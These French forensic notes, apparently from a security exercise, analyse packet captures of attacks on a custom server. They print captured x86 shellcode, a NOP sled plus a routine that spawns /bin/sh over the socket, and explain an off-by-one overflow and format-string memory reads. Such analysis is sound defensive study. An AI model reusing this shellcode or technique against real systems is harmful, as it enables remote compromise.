---
# System prepended metadata

title: Analyse trace2

---

# Analyse trace2
On peut osberver dans les logs de `trace2.pcap` l'attaque dans l'échange 15.

Elle est précédée de plusieurs `ECHO %x%x%x%x %x`. Il est donc probable que le payload soit forgé à partir des valeurs de la stack.

payload : 
```          
             90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0050   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0060   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0070   90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0080   90 90 eb 71 5d 31 c0 31 db 31 c9 31 d2 31 ff 31   ...q]1.1.1.1.1.1
0090   f6 b0 22 89 c6 b0 c0 b1 01 66 c1 e1 0c b2 03 4f   .."......f.....O
00a0   cd 80 89 c1 31 ff b3 02 89 ca 80 c1 04 31 c0 66   ....1........1.f
00b0   b8 70 01 fe c3 c6 02 10 89 39 cd 80 39 f8 75 ed   .p.......9..9.u.
00c0   8b 01 3c 02 75 e7 89 ca 31 c9 31 c0 b0 3f cd 80   ..<.u...1.1..?..
00d0   41 b0 3f cd 80 41 b0 3f cd 80 31 c0 89 6d 08 89   A.?..A.?..1..m..
00e0   45 0c 88 45 07 b0 0b 89 eb 8d 4d 08 8d 55 0c cd   E..E......M..U..
00f0   80 b0 01 cd 80 e8 8a ff ff ff 2f 62 69 6e 2f 73   ........../bin/s
0100   68 41 41 41 41 41 41 41 41 41 0a 00 00 00 0d 00   hAAAAAAAAA......
0110   00 00 9b a1 40 84 ff 0a                           ....@...
```

```
         \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\xeb\x71\x5d\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xff\x31" \
"\xf6\xb0\x22\x89\xc6\xb0\xc0\xb1\x01\x66\xc1\xe1\x0c\xb2\x03\x4f" \
"\xcd\x80\x89\xc1\x31\xff\xb3\x02\x89\xca\x80\xc1\x04\x31\xc0\x66" \
"\xb8\x70\x01\xfe\xc3\xc6\x02\x10\x89\x39\xcd\x80\x39\xf8\x75\xed" \
"\x8b\x01\x3c\x02\x75\xe7\x89\xca\x31\xc9\x31\xc0\xb0\x3f\xcd\x80" \
"\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x31\xc0\x89\x6d\x08\x89" \
"\x45\x0c\x88\x45\x07\xb0\x0b\x89\xeb\x8d\x4d\x08\x8d\x55\x0c\xcd" \
"\x80\xb0\x01\xcd\x80\xe8\x8a\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" \
"\x68\x41\x41\x41\x41\x41\x41\x41\x41\x41\x0a\x00\x00\x00\x0d\x00" \
"\x00\x00\x9b\xa1\x40\x84\xff\x0a"
```
Quand les utilisateurs se connectent, ils doivent s'authentifier puis résoudre un challenge avant de pouvoir effectuer une action parmis `PUT` , ...


# src du serveur

fichiers : 
- auth (connexion)
- commande (gère l'exécution des commandes)
- logging (traces)
- main (appelle la boucle principale)
- traitement serveur (boucle principale)
- traitement client (traite les entrées clients, sanitize, etc ...)
- users (gestion de la base de donnée des utilisateurs)
- utils (fonctions randoms)

Liste des commandes utilisables:
```
{.id = AUTH,    .texte="AUTH ",     .lg=0, .traitement = doAuth       },\
    {.id = CHALL,   .texte="CHALL ",    .lg=0, .traitement = doChallenge  },\
    {.id = CHALL,   .texte="LOGOUT",   .lg=0, .traitement = doLogout     },\
    {.id = ADDUSER, .texte="ADDUSER ",  .lg=0, .traitement = doAddUser    },\
    {.id = GET,     .texte="GET ",      .lg=0, .traitement = doGet        },\
    {.id = PUT,     .texte="PUT ",      .lg=0, .traitement = doPut        },\
    {.id = EXISTS,  .texte="EXISTS ",   .lg=0, .traitement = doExists     },\
    {.id = ECHO,    .texte="ECHO ",     .lg=0, .traitement = doEcho       },\
    {.id = QUIT,    .texte="QUIT",      .lg=0, .traitement = doQuit       }
```
Possible de lancer en debug pour augmenter les logs produits.
## AUTH
Permet de commancer l'authentification 

## CHALL
Le challenge de connexion permet de vérifier le mot de passe.
Il faut renvoyer le hashé de la concatenation du challenge reçu et du hashé du password.

## ADDUSER
Permet d'ajouter un utilisateur en donnant le nom et le hashé de son mot de passe

## LOGOUT
Permet de se déconnecter


gestionconnexion -> traitementClient -> sanitizeBuffer -> parseCommande -> doCaommande


# Test envoie du payload

Le payload est bien analysé par sanitizeBuffer qui supprime les caractères non imprimables. Pas de commande -> on s'arrète à doCommande

Ce qui est bizare c'est le retour UNKNOWN ou UNKNOWN UNKNOWN

![](https://i.imgur.com/nYfE48R.jpg)

# Buffer overflow

L'erreur provient de la confusion entre `<` et `<=` au niveau de la comparaison de la longueur du buffer. Cette erreur nous permet d'écrire un caractère de plus. On peut alors réécrir la valeur de `msg.i`. On peut alors, en choisissant un 201 caractère qui commence par 1, écrire une longueur arbitraire.

# Analyse trace1

![](https://i.imgur.com/FfhTNjh.png)

![](https://i.imgur.com/Dfxo5OZ.png)

![](https://i.imgur.com/4hOKEsj.png)

Attention tout est en little indian

L'attaquant explore la stack en partant du premier entier jusqu'au 53 et 54 eme. Ces entiers semblent contenir les entrées qu'il envoie.
Il itère alors pour tester qu'est ce qui est injectable dans la stack.
Les 4 premiers caractères sont dans 53, les 4 suivants dans 54

Jusqu'au flux 307, il teste tous les c&ractère de 00 à ff.

![](https://i.imgur.com/7PVkN92.png)

Il arrive donc à lire tout ce qu'il veut en fournissant une adresse arbitraire.

On peut osbserver que l'attaquant a extrait l'ensemble du binaire du serveur.
On a trouvé le segment ELF et les dfférentes chaines de caractère.


